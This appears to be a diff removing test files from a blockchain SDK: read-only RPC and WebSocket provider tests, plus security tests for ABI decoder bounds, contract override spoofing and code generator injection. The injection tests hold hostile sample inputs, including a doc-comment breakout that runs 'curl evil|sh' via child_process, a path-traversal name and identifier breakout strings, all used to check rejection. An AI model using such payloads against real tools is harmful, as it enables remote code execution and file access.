const ENDPOINT = process.env.QC_ENDPOINT || process.env.QC_RPC_URL || DEFAULT_RPC;
|
|
20
|
-
const isPublicRpc = ENDPOINT === DEFAULT_RPC;
|
|
21
|
-
|
|
22
|
-
describe("Provider (readonly)", () => {
|
|
23
|
-
it("getBlockNumber returns a block number", async (t: { skip: (msg: string) => void }) => {
|
|
24
|
-
logSuite("Provider (readonly)");
|
|
25
|
-
logTest("getBlockNumber returns a block number", { endpoint: ENDPOINT, chainId: CHAIN_ID });
|
|
26
|
-
const provider = qc.getProvider(ENDPOINT, CHAIN_ID);
|
|
27
|
-
try {
|
|
28
|
-
const bn = await provider.getBlockNumber();
|
|
29
|
-
logTest("getBlockNumber returns a block number", { blockNumber: bn });
|
|
30
|
-
assert.ok(Number.isInteger(bn) && bn >= 0);
|
|
31
|
-
if (isPublicRpc) assert.ok(bn > 3000000, "public chain height");
|
|
32
|
-
} catch (e) {
|
|
33
|
-
t.skip(`network unavailable: ${e && (e as Error).message ? (e as Error).message : String(e)}`);
|
|
34
|
-
}
|
|
35
|
-
});
|
|
36
|
-
|
|
37
|
-
it("getBlock('latest') works", async (t: { skip: (msg: string) => void }) => {
|
|
38
|
-
logTest("getBlock('latest') works", {});
|
|
39
|
-
const provider = qc.getProvider(ENDPOINT, CHAIN_ID);
|
|
40
|
-
try {
|
|
41
|
-
const latest = await provider.getBlockNumber();
|
|
42
|
-
const block = await provider.getBlock("latest");
|
|
43
|
-
logTest("getBlock('latest') works", { blockNumber: block.number, blockHash: block.hash });
|
|
44
|
-
assert.ok(block && typeof block === "object");
|
|
45
|
-
assert.ok(typeof block.number === "number" && block.number >= latest);
|
|
46
|
-
if (isPublicRpc && latest >= 3386000) {
|
|
47
|
-
const b = await provider.getBlock(3386000);
|
|
48
|
-
assert.equal(b.number, 3386000);
|
|
49
|
-
}
|
|
50
|
-
} catch (e) {
|
|
51
|
-
t.skip(`network unavailable: ${e && (e as Error).message ? (e as Error).message : String(e)}`);
|
|
52
|
-
}
|
|
53
|
-
});
|
|
54
|
-
|
|
55
|
-
it("getBalance works for an address", async (t: { skip: (msg: string) => void }) => {
|
|
56
|
-
logTest("getBalance works for an address", {});
|
|
57
|
-
logAddress("staking_contract", STAKING_CONTRACT);
|
|
58
|
-
const provider = qc.getProvider(ENDPOINT, CHAIN_ID);
|
|
59
|
-
try {
|
|
60
|
-
const bal = await provider.getBalance(STAKING_CONTRACT);
|
|
61
|
-
logTest("getBalance works for an address", { balance: bal.toString() });
|
|
62
|
-
assert.equal(typeof bal, "bigint");
|
|
63
|
-
assert.ok(bal >= 0n);
|
|
64
|
-
} catch (e) {
|
|
65
|
-
t.skip(`network unavailable: ${e && (e as Error).message ? (e as Error).message : String(e)}`);
|
|
66
|
-
}
|
|
67
|
-
});
|
|
68
|
-
|
|
69
|
-
it("contract read operations work (staking contract when available)", async (t: { skip: (msg: string) => void }) => {
|
|
70
|
-
logTest("contract read operations work (staking contract when available)", {});
|
|
71
|
-
logAddress("staking_contract", STAKING_CONTRACT);
|
|
72
|
-
await Initialize(null);
|
|
73
|
-
const provider = qc.getProvider(ENDPOINT, CHAIN_ID);
|
|
74
|
-
try {
|
|
75
|
-
const abi = require("../fixtures/StakingContract.abi.json");
|
|
76
|
-
const contract = new qc.Contract(STAKING_CONTRACT, abi, provider);
|
|
77
|
-
const count = await contract.getDepositorCount();
|
|
78
|
-
const value = Array.isArray(count) ? count[0] : count;
|
|
79
|
-
logTest("contract read operations work", { depositorCount: value != null ? String(value) : null });
|
|
80
|
-
assert.ok(value != null);
|
|
81
|
-
} catch (e) {
|
|
82
|
-
t.skip(`network/ABI unavailable: ${e && (e as Error).message ? (e as Error).message : String(e)}`);
|
|
83
|
-
}
|
|
84
|
-
});
|
|
85
|
-
});
|
|
@@ -1,41 +0,0 @@
|
|
|
1
|
-
/**
|
|
2
|
-
* @testCategory integration
|
|
3
|
-
* @blockchainRequired readonly
|
|
4
|
-
* @transactional false
|
|
5
|
-
* @description Read-only WebSocket JSON-RPC integration tests (validates WebSocketProvider only).
|
|
6
|
-
* Skipped when QC_ENDPOINT is set (e.g. running integration tests over IPC).
|
|
7
|
-
* Run with VERBOSE=1 for test names, block number/hash.
|
|
8
|
-
*/
|
|
9
|
-
|
|
10
|
-
const { describe, it } = require("node:test");
|
|
11
|
-
const assert = require("node:assert/strict");
|
|
12
|
-
|
|
13
|
-
const qc = require("../../index");
|
|
14
|
-
const { logSuite, logTest } = require("../verbose-logger");
|
|
15
|
-
|
|
16
|
-
const WS = process.env.QC_WS_URL || "ws://127.0.0.1:8546";
|
|
17
|
-
const skipBecauseOtherEndpoint = process.env.QC_ENDPOINT != null && process.env.QC_ENDPOINT !== "";
|
|
18
|
-
|
|
19
|
-
describe("WebSocketProvider (readonly)", { skip: skipBecauseOtherEndpoint }, () => {
|
|
20
|
-
it("getBlockNumber and getBlock('latest') work over WebSocket", async (t) => {
|
|
21
|
-
logSuite("WebSocketProvider (readonly)");
|
|
22
|
-
logTest("getBlockNumber and getBlock('latest') work over WebSocket", { endpoint: WS });
|
|
23
|
-
const provider = qc.getProvider(WS);
|
|
24
|
-
try {
|
|
25
|
-
const bn = await provider.getBlockNumber();
|
|
26
|
-
logTest("getBlockNumber (ws)", { blockNumber: bn });
|
|
27
|
-
assert.ok(Number.isInteger(bn) && bn >= 0);
|
|
28
|
-
|
|
29
|
-
const latest = await provider.getBlock("latest");
|
|
30
|
-
logTest("getBlock('latest') (ws)", { blockNumber: latest.number, blockHash: latest.hash });
|
|
31
|
-
assert.ok(latest && typeof latest === "object");
|
|
32
|
-
assert.ok(typeof latest.number === "number" && latest.number >= bn);
|
|
33
|
-
assert.ok(latest.hash == null || typeof latest.hash === "string");
|
|
34
|
-
} catch (e) {
|
|
35
|
-
t.skip(`WebSocket endpoint unavailable (${WS}): ${e && e.message ? e.message : String(e)}`);
|
|
36
|
-
} finally {
|
|
37
|
-
if (provider && typeof provider.destroy === "function") provider.destroy();
|
|
38
|
-
}
|
|
39
|
-
});
|
|
40
|
-
});
|
|
41
|
-
|
|
@@ -1,38 +0,0 @@
|
|
|
1
|
-
/**
|
|
2
|
-
* @testCategory integration
|
|
3
|
-
* @blockchainRequired readonly
|
|
4
|
-
* @transactional false
|
|
5
|
-
* @description Read-only WebSocket JSON-RPC integration tests (validates WebSocketProvider only).
|
|
6
|
-
*/
|
|
7
|
-
|
|
8
|
-
import { describe, it } from "node:test";
|
|
9
|
-
import assert from "node:assert/strict";
|
|
10
|
-
|
|
11
|
-
import qc from "../../index";
|
|
12
|
-
import { logSuite, logTest } from "../verbose-logger";
|
|
13
|
-
|
|
14
|
-
const WS = process.env.QC_WS_URL || "ws://127.0.0.1:8546";
|
|
15
|
-
const skipBecauseOtherEndpoint = process.env.QC_ENDPOINT != null && process.env.QC_ENDPOINT !== "";
|
|
16
|
-
|
|
17
|
-
describe("WebSocketProvider (readonly)", { skip: skipBecauseOtherEndpoint }, () => {
|
|
18
|
-
it("getBlockNumber and getBlock('latest') work over WebSocket", async (t: { skip: (msg: string) => void }) => {
|
|
19
|
-
logSuite("WebSocketProvider (readonly)");
|
|
20
|
-
logTest("getBlockNumber and getBlock('latest') work over WebSocket", { endpoint: WS });
|
|
21
|
-
const provider = qc.getProvider(WS);
|
|
22
|
-
try {
|
|
23
|
-
const bn = await provider.getBlockNumber();
|
|
24
|
-
logTest("getBlockNumber (ws)", { blockNumber: bn });
|
|
25
|
-
assert.ok(Number.isInteger(bn) && bn >= 0);
|
|
26
|
-
|
|
27
|
-
const latest = await provider.getBlock("latest");
|
|
28
|
-
logTest("getBlock('latest') (ws)", { blockNumber: latest.number, blockHash: latest.hash });
|
|
29
|
-
assert.ok(latest && typeof latest === "object");
|
|
30
|
-
assert.ok(typeof latest.number === "number" && latest.number >= bn);
|
|
31
|
-
assert.ok(latest.hash == null || typeof latest.hash === "string");
|
|
32
|
-
} catch (e) {
|
|
33
|
-
t.skip(`WebSocket endpoint unavailable (${WS}): ${e && (e as Error).message ? (e as Error).message : String(e)}`);
|
|
34
|
-
} finally {
|
|
35
|
-
if (provider && typeof provider.destroy === "function") provider.destroy();
|
|
36
|
-
}
|
|
37
|
-
});
|
|
38
|
-
});
|
|
@@ -1,122 +0,0 @@
|
|
|
1
|
-
/**
|
|
2
|
-
* @testCategory security
|
|
3
|
-
* @blockchainRequired false
|
|
4
|
-
* @transactional false
|
|
5
|
-
* @description The pure-JS ABI decoder must bound dynamic array/bytes/string
|
|
6
|
-
* lengths against the available data so a hostile RPC response cannot
|
|
7
|
-
* trigger huge allocations or silent truncation.
|
|
8
|
-
*/
|
|
9
|
-
|
|
10
|
-
const { describe, it } = require("node:test");
|
|
11
|
-
const assert = require("node:assert/strict");
|
|
12
|
-
|
|
13
|
-
const jsAbi = require("../../src/abi/js-abi-coder");
|
|
14
|
-
const { logSuite, logTest } = require("../verbose-logger");
|
|
15
|
-
|
|
16
|
-
function num(n) {
|
|
17
|
-
return BigInt(n).toString(16).padStart(64, "0");
|
|
18
|
-
}
|
|
19
|
-
|
|
20
|
-
describe("Security: ABI decoder allocation bounds", () => {
|
|
21
|
-
logSuite("Security: ABI decoder allocation bounds");
|
|
22
|
-
|
|
23
|
-
it("rejects a dynamic array declaring more elements than the data can hold (negative)", () => {
|
|
24
|
-
logTest("rejects an over-long dynamic array length", {});
|
|
25
|
-
// head: offset(0x20) -> tail: huge length, no element data
|
|
26
|
-
const data = "0x" + num(32) + num(1_000_000);
|
|
27
|
-
assert.throws(
|
|
28
|
-
() => jsAbi.decodeFunctionResult([{ type: "uint256[]" }], data),
|
|
29
|
-
/array length exceeds available data/i,
|
|
30
|
-
);
|
|
31
|
-
});
|
|
32
|
-
|
|
33
|
-
it("rejects dynamic bytes declaring more than the data can hold (negative)", () => {
|
|
34
|
-
logTest("rejects an over-long bytes length", {});
|
|
35
|
-
const data = "0x" + num(32) + num(1_000_000);
|
|
36
|
-
assert.throws(
|
|
37
|
-
() => jsAbi.decodeFunctionResult([{ type: "bytes" }], data),
|
|
38
|
-
/bytes length exceeds available data/i,
|
|
39
|
-
);
|
|
40
|
-
});
|
|
41
|
-
|
|
42
|
-
it("rejects a string declaring more than the data can hold (negative)", () => {
|
|
43
|
-
logTest("rejects an over-long string length", {});
|
|
44
|
-
const data = "0x" + num(32) + num(1_000_000);
|
|
45
|
-
assert.throws(
|
|
46
|
-
() => jsAbi.decodeFunctionResult([{ type: "string" }], data),
|
|
47
|
-
/string length exceeds available data/i,
|
|
48
|
-
);
|
|
49
|
-
});
|
|
50
|
-
|
|
51
|
-
it("decodes a well-formed dynamic array (positive)", () => {
|
|
52
|
-
logTest("decodes a well-formed dynamic array", {});
|
|
53
|
-
const data = "0x" + num(32) + num(2) + num(1) + num(2);
|
|
54
|
-
const [arr] = jsAbi.decodeFunctionResult([{ type: "uint256[]" }], data);
|
|
55
|
-
assert.deepEqual(arr, [1n, 2n]);
|
|
56
|
-
});
|
|
57
|
-
|
|
58
|
-
it("decodes well-formed dynamic bytes (positive)", () => {
|
|
59
|
-
logTest("decodes well-formed dynamic bytes", {});
|
|
60
|
-
// length 3, value 0x010203 left-aligned in the data word
|
|
61
|
-
const data = "0x" + num(32) + num(3) + "010203".padEnd(64, "0");
|
|
62
|
-
const [bytes] = jsAbi.decodeFunctionResult([{ type: "bytes" }], data);
|
|
63
|
-
assert.equal(bytes, "0x010203");
|
|
64
|
-
});
|
|
65
|
-
});
|
|
66
|
-
|
|
67
|
-
describe("Security: ABI decoder static reads, offset aliasing & fixed arrays", () => {
|
|
68
|
-
logSuite("Security: ABI decoder static reads, offset aliasing & fixed arrays");
|
|
69
|
-
|
|
70
|
-
it("rejects a static word read past the end of the data (negative)", () => {
|
|
71
|
-
logTest("rejects an out-of-bounds static uint256 read", {});
|
|
72
|
-
// Truncated data (10 bytes < one 32-byte word): previously _readWordAsBigInt
|
|
73
|
-
// silently sliced a short array and returned a corrupted/zero value.
|
|
74
|
-
const data = "0x" + "12".repeat(10);
|
|
75
|
-
assert.throws(() => jsAbi.decodeFunctionResult([{ type: "uint256" }], data), /read past end of data/i);
|
|
76
|
-
});
|
|
77
|
-
|
|
78
|
-
it("rejects an out-of-bounds static address read (negative)", () => {
|
|
79
|
-
logTest("rejects an out-of-bounds static address read", {});
|
|
80
|
-
const data = "0x" + "12".repeat(10);
|
|
81
|
-
assert.throws(() => jsAbi.decodeFunctionResult([{ type: "address" }], data), /read past end of data/i);
|
|
82
|
-
});
|
|
83
|
-
|
|
84
|
-
it("rejects a dynamic offset that points back into the head region / aliasing (negative)", () => {
|
|
85
|
-
logTest("rejects a dynamic offset aliasing into the head", {});
|
|
86
|
-
// Single dynamic param; head word holds offset 0 (< headSize 32).
|
|
87
|
-
const data = "0x" + num(0);
|
|
88
|
-
assert.throws(() => jsAbi.decodeFunctionResult([{ type: "bytes" }], data), /points into head region/i);
|
|
89
|
-
});
|
|
90
|
-
|
|
91
|
-
it("rejects a dynamic offset that points outside the data (negative)", () => {
|
|
92
|
-
logTest("rejects a dynamic offset out of bounds", {});
|
|
93
|
-
const data = "0x" + num(1_000_000);
|
|
94
|
-
assert.throws(() => jsAbi.decodeFunctionResult([{ type: "bytes" }], data), /dynamic offset out of bounds/i);
|
|
95
|
-
});
|
|
96
|
-
|
|
97
|
-
it("rejects an enormous fixed-array dimension before allocating (negative)", () => {
|
|
98
|
-
logTest("rejects an over-large fixed array length", {});
|
|
99
|
-
const data = "0x" + num(1);
|
|
100
|
-
assert.throws(
|
|
101
|
-
() => jsAbi.decodeFunctionResult([{ type: "uint256[1000000000]" }], data),
|
|
102
|
-
/fixed array length exceeds available data/i,
|
|
103
|
-
);
|
|
104
|
-
});
|
|
105
|
-
|
|
106
|
-
it("decodes well-formed static values (positive)", () => {
|
|
107
|
-
logTest("decodes well-formed static uint256 + address", {});
|
|
108
|
-
const addrWord = "00".repeat(31) + "ab"; // 32-byte word ending in 0xab
|
|
109
|
-
const data = "0x" + num(5) + addrWord;
|
|
110
|
-
const [n, addr] = jsAbi.decodeFunctionResult([{ type: "uint256" }, { type: "address" }], data);
|
|
111
|
-
assert.equal(n, 5n);
|
|
112
|
-
assert.equal(typeof addr, "string");
|
|
113
|
-
assert.ok(addr.toLowerCase().endsWith("ab"));
|
|
114
|
-
});
|
|
115
|
-
|
|
116
|
-
it("decodes a well-formed small fixed array (positive)", () => {
|
|
117
|
-
logTest("decodes a well-formed uint256[2]", {});
|
|
118
|
-
const data = "0x" + num(7) + num(8);
|
|
119
|
-
const [arr] = jsAbi.decodeFunctionResult([{ type: "uint256[2]" }], data);
|
|
120
|
-
assert.deepEqual(arr, [7n, 8n]);
|
|
121
|
-
});
|
|
122
|
-
});
|
|
@@ -1,112 +0,0 @@
|
|
|
1
|
-
/**
|
|
2
|
-
* @testCategory security
|
|
3
|
-
* @blockchainRequired false
|
|
4
|
-
* @transactional false
|
|
5
|
-
* @description Contract override spoofing. A caller-supplied `overrides`
|
|
6
|
-
* object must never be able to redirect a contract call to a
|
|
7
|
-
* different address (`to`) or replace the encoded calldata (`data`).
|
|
8
|
-
* Allow-listed fields (value, gasLimit, ...) must still apply.
|
|
9
|
-
*/
|
|
10
|
-
|
|
11
|
-
const { describe, it } = require("node:test");
|
|
12
|
-
const assert = require("node:assert/strict");
|
|
13
|
-
const fs = require("node:fs");
|
|
14
|
-
const os = require("node:os");
|
|
15
|
-
const path = require("node:path");
|
|
16
|
-
|
|
17
|
-
const { Initialize } = require("../../config");
|
|
18
|
-
const qc = require("../../index");
|
|
19
|
-
const { generateFromArtifacts } = require("../../src/generator");
|
|
20
|
-
const { logSuite, logTest } = require("../verbose-logger");
|
|
21
|
-
|
|
22
|
-
const ABI = [
|
|
23
|
-
{
|
|
24
|
-
type: "function",
|
|
25
|
-
name: "transfer",
|
|
26
|
-
stateMutability: "nonpayable",
|
|
27
|
-
inputs: [
|
|
28
|
-
{ name: "to", type: "address" },
|
|
29
|
-
{ name: "amount", type: "uint256" },
|
|
30
|
-
],
|
|
31
|
-
outputs: [{ name: "", type: "bool" }],
|
|
32
|
-
},
|
|
33
|
-
];
|
|
34
|
-
|
|
35
|
-
function _mockSigner() {
|
|
36
|
-
const captured = [];
|
|
37
|
-
return {
|
|
38
|
-
captured,
|
|
39
|
-
signTransaction: async () => "0x",
|
|
40
|
-
sendTransaction: async (tx) => {
|
|
41
|
-
captured.push(tx);
|
|
42
|
-
return { hash: "0x" + "22".repeat(32) };
|
|
43
|
-
},
|
|
44
|
-
};
|
|
45
|
-
}
|
|
46
|
-
|
|
47
|
-
describe("Security: contract override spoofing", () => {
|
|
48
|
-
logSuite("Security: contract override spoofing");
|
|
49
|
-
|
|
50
|
-
it("send() ignores overrides.to/data/from but applies value/gasLimit (negative + positive)", async () => {
|
|
51
|
-
logTest("send() ignores overrides.to/data/from but applies value/gasLimit", {});
|
|
52
|
-
await Initialize(null);
|
|
53
|
-
|
|
54
|
-
const contractAddr = qc.Wallet.createRandom().address;
|
|
55
|
-
const recipient = qc.Wallet.createRandom().address;
|
|
56
|
-
const evil = qc.Wallet.createRandom().address;
|
|
57
|
-
|
|
58
|
-
const signer = _mockSigner();
|
|
59
|
-
const c = new qc.Contract(contractAddr, ABI, signer);
|
|
60
|
-
|
|
61
|
-
await c.send("transfer", [recipient, 1n], {
|
|
62
|
-
to: evil, // must be ignored
|
|
63
|
-
data: "0xdeadbeef", // must be ignored
|
|
64
|
-
from: evil, // must be ignored
|
|
65
|
-
gasLimit: 99999, // must be applied
|
|
66
|
-
value: 5n, // must be applied
|
|
67
|
-
attackerKey: "x", // unknown key must be dropped
|
|
68
|
-
});
|
|
69
|
-
|
|
70
|
-
const tx = signer.captured[0];
|
|
71
|
-
assert.equal(tx.to, c.address, "to must be the contract address, not the attacker's");
|
|
72
|
-
assert.notEqual(tx.to, evil);
|
|
73
|
-
assert.notEqual(tx.data, "0xdeadbeef", "data must be the encoded call, not attacker data");
|
|
74
|
-
assert.ok(typeof tx.data === "string" && tx.data.startsWith("0x"));
|
|
75
|
-
assert.equal(tx.from, undefined, "from must not be injectable via overrides");
|
|
76
|
-
assert.equal(tx.gasLimit, 99999, "allow-listed gasLimit must apply");
|
|
77
|
-
assert.equal(tx.value, 5n, "allow-listed value must apply");
|
|
78
|
-
assert.ok(!("attackerKey" in tx), "unknown override keys must be dropped");
|
|
79
|
-
});
|
|
80
|
-
|
|
81
|
-
it("populateTransaction.<fn> protects to/data while keeping allow-listed fields", async () => {
|
|
82
|
-
logTest("populateTransaction.<fn> protects to/data while keeping allow-listed fields", {});
|
|
83
|
-
await Initialize(null);
|
|
84
|
-
const contractAddr = qc.Wallet.createRandom().address;
|
|
85
|
-
const recipient = qc.Wallet.createRandom().address;
|
|
86
|
-
const evil = qc.Wallet.createRandom().address;
|
|
87
|
-
const c = new qc.Contract(contractAddr, ABI);
|
|
88
|
-
|
|
89
|
-
const tx = await c.populateTransaction.transfer(recipient, 1n, { to: evil, data: "0xbad", gasLimit: 7 });
|
|
90
|
-
assert.equal(tx.to, c.address);
|
|
91
|
-
assert.notEqual(tx.data, "0xbad");
|
|
92
|
-
assert.equal(tx.gasLimit, 7);
|
|
93
|
-
});
|
|
94
|
-
|
|
95
|
-
it("generated factory/contract templates filter overrides (source-level assertion)", () => {
|
|
96
|
-
logTest("generated factory/contract templates filter overrides", {});
|
|
97
|
-
const tmp = fs.mkdtempSync(path.join(os.tmpdir(), "qcgen-ov-"));
|
|
98
|
-
const outDir = path.join(tmp, "out");
|
|
99
|
-
const abi = [
|
|
100
|
-
{ type: "constructor", stateMutability: "nonpayable", inputs: [] },
|
|
101
|
-
...ABI,
|
|
102
|
-
];
|
|
103
|
-
const res = generateFromArtifacts({ outDir, lang: "ts", artifacts: [{ contractName: "Tok", abi, bytecode: "0x6000" }] });
|
|
104
|
-
const factorySrc = fs.readFileSync(res.contracts[0].factoryFile, "utf8");
|
|
105
|
-
const contractSrc = fs.readFileSync(res.contracts[0].contractFile, "utf8");
|
|
106
|
-
// The unsafe spread of raw overrides must be gone.
|
|
107
|
-
assert.ok(!factorySrc.includes("...(overrides || {})"), "factory must not spread raw overrides");
|
|
108
|
-
assert.ok(!contractSrc.includes("...(overrides || {})"), "contract must not spread raw overrides");
|
|
109
|
-
assert.ok(factorySrc.includes("safeOverrides"), "factory must use the override allow-list");
|
|
110
|
-
assert.ok(contractSrc.includes("safeOverrides"), "contract must use the override allow-list");
|
|
111
|
-
});
|
|
112
|
-
});
|
|
@@ -1,195 +0,0 @@
|
|
|
1
|
-
/**
|
|
2
|
-
* @testCategory security
|
|
3
|
-
* @blockchainRequired false
|
|
4
|
-
* @transactional false
|
|
5
|
-
* @description Code-injection and path-traversal protections in the SDK
|
|
6
|
-
* generator. Attacker-controlled contract/function names (and tuple
|
|
7
|
-
* names derived from internalType) must never break out of the
|
|
8
|
-
* generated source or escape the output directory.
|
|
9
|
-
*/
|
|
10
|
-
|
|
11
|
-
const { describe, it } = require("node:test");
|
|
12
|
-
const assert = require("node:assert/strict");
|
|
13
|
-
const fs = require("node:fs");
|
|
14
|
-
const os = require("node:os");
|
|
15
|
-
const path = require("node:path");
|
|
16
|
-
|
|
17
|
-
const {
|
|
18
|
-
generate,
|
|
19
|
-
generateFromArtifacts,
|
|
20
|
-
generateTransactionalTestJs,
|
|
21
|
-
assertSafeIdentifier,
|
|
22
|
-
} = require("../../src/generator");
|
|
23
|
-
const { logSuite, logTest } = require("../verbose-logger");
|
|
24
|
-
|
|
25
|
-
function _tmpOut() {
|
|
26
|
-
const tmp = fs.mkdtempSync(path.join(os.tmpdir(), "qcgen-inj-"));
|
|
27
|
-
return path.join(tmp, "out");
|
|
28
|
-
}
|
|
29
|
-
|
|
30
|
-
describe("Security: generator code-injection & path-traversal", () => {
|
|
31
|
-
logSuite("Security: generator code-injection & path-traversal");
|
|
32
|
-
|
|
33
|
-
it("assertSafeIdentifier rejects breakout strings and reserved words", () => {
|
|
34
|
-
logTest("assertSafeIdentifier rejects breakout strings and reserved words", {});
|
|
35
|
-
assert.throws(() => assertSafeIdentifier('Evil"; console.log(1); //', "contract name"));
|
|
36
|
-
assert.throws(() => assertSafeIdentifier("../../etc/passwd", "contract name"));
|
|
37
|
-
assert.throws(() => assertSafeIdentifier("with-dash", "contract name"));
|
|
38
|
-
assert.throws(() => assertSafeIdentifier("__proto__", "contract name"));
|
|
39
|
-
assert.throws(() => assertSafeIdentifier("class", "contract name"));
|
|
40
|
-
assert.throws(() => assertSafeIdentifier("", "contract name"));
|
|
41
|
-
assert.throws(() => assertSafeIdentifier(123, "contract name"));
|
|
42
|
-
// Positive: valid identifiers are returned unchanged.
|
|
43
|
-
assert.equal(assertSafeIdentifier("TestToken", "contract name"), "TestToken");
|
|
44
|
-
assert.equal(assertSafeIdentifier("_balanceOf$2", "fn"), "_balanceOf$2");
|
|
45
|
-
});
|
|
46
|
-
|
|
47
|
-
it("rejects a malicious contractName (negative)", () => {
|
|
48
|
-
logTest("rejects a malicious contractName (negative)", {});
|
|
49
|
-
const abi = [{ type: "function", name: "ok", stateMutability: "view", inputs: [], outputs: [] }];
|
|
50
|
-
assert.throws(
|
|
51
|
-
() =>
|
|
52
|
-
generateFromArtifacts({
|
|
53
|
-
outDir: _tmpOut(),
|
|
54
|
-
lang: "ts",
|
|
55
|
-
artifacts: [{ contractName: 'Evil { static x = require("child_process"); } //', abi, bytecode: "0x00" }],
|
|
56
|
-
}),
|
|
57
|
-
/Unsafe contract name|reserved word/i,
|
|
58
|
-
);
|
|
59
|
-
});
|
|
60
|
-
|
|
61
|
-
it("rejects a path-traversal contractName (negative)", () => {
|
|
62
|
-
logTest("rejects a path-traversal contractName (negative)", {});
|
|
63
|
-
const abi = [{ type: "function", name: "ok", stateMutability: "view", inputs: [], outputs: [] }];
|
|
64
|
-
assert.throws(
|
|
65
|
-
() =>
|
|
66
|
-
generateFromArtifacts({
|
|
67
|
-
outDir: _tmpOut(),
|
|
68
|
-
lang: "ts",
|
|
69
|
-
artifacts: [{ contractName: "../../evil", abi, bytecode: "0x00" }],
|
|
70
|
-
}),
|
|
71
|
-
/Unsafe contract name/i,
|
|
72
|
-
);
|
|
73
|
-
});
|
|
74
|
-
|
|
75
|
-
it("rejects a malicious ABI function name (negative)", () => {
|
|
76
|
-
logTest("rejects a malicious ABI function name (negative)", {});
|
|
77
|
-
const abi = [
|
|
78
|
-
{ type: "function", name: 'foo(){}; const x = 1; bar', stateMutability: "view", inputs: [], outputs: [] },
|
|
79
|
-
];
|
|
80
|
-
assert.throws(
|
|
81
|
-
() =>
|
|
82
|
-
generateFromArtifacts({
|
|
83
|
-
outDir: _tmpOut(),
|
|
84
|
-
lang: "ts",
|
|
85
|
-
artifacts: [{ contractName: "Good", abi, bytecode: "0x00" }],
|
|
86
|
-
}),
|
|
87
|
-
/Unsafe ABI function name/i,
|
|
88
|
-
);
|
|
89
|
-
// Also covered by the transactional-test generator entry point.
|
|
90
|
-
assert.throws(
|
|
91
|
-
() => generateTransactionalTestJs({ contractName: "Good", abi, bytecode: "0x00" }),
|
|
92
|
-
/Unsafe ABI function name/i,
|
|
93
|
-
);
|
|
94
|
-
});
|
|
95
|
-
|
|
96
|
-
it("sanitizes malicious tuple names derived from internalType (negative-input, safe-output)", () => {
|
|
97
|
-
logTest("sanitizes malicious tuple names derived from internalType", {});
|
|
98
|
-
const outDir = _tmpOut();
|
|
99
|
-
const abi = [
|
|
100
|
-
{
|
|
101
|
-
type: "function",
|
|
102
|
-
name: "getStruct",
|
|
103
|
-
stateMutability: "view",
|
|
104
|
-
inputs: [],
|
|
105
|
-
outputs: [
|
|
106
|
-
{
|
|
107
|
-
name: "s",
|
|
108
|
-
type: "tuple",
|
|
109
|
-
internalType: 'struct Evil"]; const pwned = 1; //[',
|
|
110
|
-
components: [{ name: "a", type: "uint256" }],
|
|
111
|
-
},
|
|
112
|
-
],
|
|
113
|
-
},
|
|
114
|
-
];
|
|
115
|
-
const res = generateFromArtifacts({ outDir, lang: "ts", artifacts: [{ contractName: "Holder", abi, bytecode: "0x00" }] });
|
|
116
|
-
const contractSrc = fs.readFileSync(res.contracts[0].contractFile, "utf8");
|
|
117
|
-
// The tuple type name is derived from the attacker-controlled internalType.
|
|
118
|
-
// It MUST be emitted as a valid, sanitized TS identifier (the raw payload may
|
|
119
|
-
// only survive inside the escaped ABI JSON string literal, never as code).
|
|
120
|
-
const typeDecls = [...contractSrc.matchAll(/export type ([^\s=]+)\s*=/g)].map((m) => m[1]);
|
|
121
|
-
assert.ok(typeDecls.length >= 1, "a struct type should be generated");
|
|
122
|
-
for (const id of typeDecls) {
|
|
123
|
-
assert.match(id, /^[A-Za-z_$][A-Za-z0-9_$]*$/, `tuple type identifier must be sanitized: ${id}`);
|
|
124
|
-
}
|
|
125
|
-
});
|
|
126
|
-
|
|
127
|
-
it("neutralizes a NatSpec doc-comment breakout in contract & function docs (negative)", () => {
|
|
128
|
-
logTest("neutralizes a NatSpec doc-comment breakout", {});
|
|
129
|
-
const payload = `Legit text */ require('child_process').execSync('curl evil|sh'); /* keep`;
|
|
130
|
-
const abi = [{ type: "function", name: "transfer", stateMutability: "nonpayable", inputs: [], outputs: [] }];
|
|
131
|
-
const docs = { contract: payload, functions: { transfer: payload } };
|
|
132
|
-
|
|
133
|
-
for (const lang of ["ts", "js"]) {
|
|
134
|
-
const res = generateFromArtifacts({
|
|
135
|
-
outDir: _tmpOut(),
|
|
136
|
-
lang,
|
|
137
|
-
artifacts: [{ contractName: "Doc", abi, bytecode: "0x00", docs }],
|
|
138
|
-
});
|
|
139
|
-
const src = fs.readFileSync(res.contracts[0].contractFile, "utf8");
|
|
140
|
-
// The comment terminator must be neutralized so it cannot close the JSDoc
|
|
141
|
-
// block early; the payload may only survive as inert comment text.
|
|
142
|
-
assert.ok(!src.includes("*/ require"), `[${lang}] doc breakout must be neutralized`);
|
|
143
|
-
assert.ok(src.includes("* /"), `[${lang}] escaped terminator should be present`);
|
|
144
|
-
// Belt-and-suspenders: every '*/' in the file must be a real JSDoc close,
|
|
145
|
-
// i.e. it is the last non-space token on its line (' */').
|
|
146
|
-
for (const line of src.split(/\r?\n/g)) {
|
|
147
|
-
const idx = line.indexOf("*/");
|
|
148
|
-
if (idx !== -1) {
|
|
149
|
-
assert.match(line.trimEnd(), /\*\/$/, `unexpected mid-line */ (possible breakout): ${line}`);
|
|
150
|
-
}
|
|
151
|
-
}
|
|
152
|
-
}
|
|
153
|
-
});
|
|
154
|
-
|
|
155
|
-
it("renders a benign NatSpec doc normally (positive)", () => {
|
|
156
|
-
logTest("renders a benign NatSpec doc normally", {});
|
|
157
|
-
const abi = [{ type: "function", name: "transfer", stateMutability: "nonpayable", inputs: [], outputs: [] }];
|
|
158
|
-
const docs = { contract: "Transfers tokens between accounts.", functions: { transfer: "Moves amount to recipient." } };
|
|
159
|
-
const res = generateFromArtifacts({
|
|
160
|
-
outDir: _tmpOut(),
|
|
161
|
-
lang: "ts",
|
|
162
|
-
artifacts: [{ contractName: "Doc", abi, bytecode: "0x00", docs }],
|
|
163
|
-
});
|
|
164
|
-
const src = fs.readFileSync(res.contracts[0].contractFile, "utf8");
|
|
165
|
-
assert.ok(src.includes("* Transfers tokens between accounts."), "benign contract doc should render");
|
|
166
|
-
assert.ok(src.includes("* Moves amount to recipient."), "benign function doc should render");
|
|
167
|
-
});
|
|
168
|
-
|
|
169
|
-
it("generates valid output and preserves legitimate identifiers (positive)", () => {
|
|
170
|
-
logTest("generates valid output and preserves legitimate identifiers (positive)", {});
|
|
171
|
-
const tmp = fs.mkdtempSync(path.join(os.tmpdir(), "qcgen-ok-"));
|
|
172
|
-
const abiPath = path.join(tmp, "Test.abi.json");
|
|
173
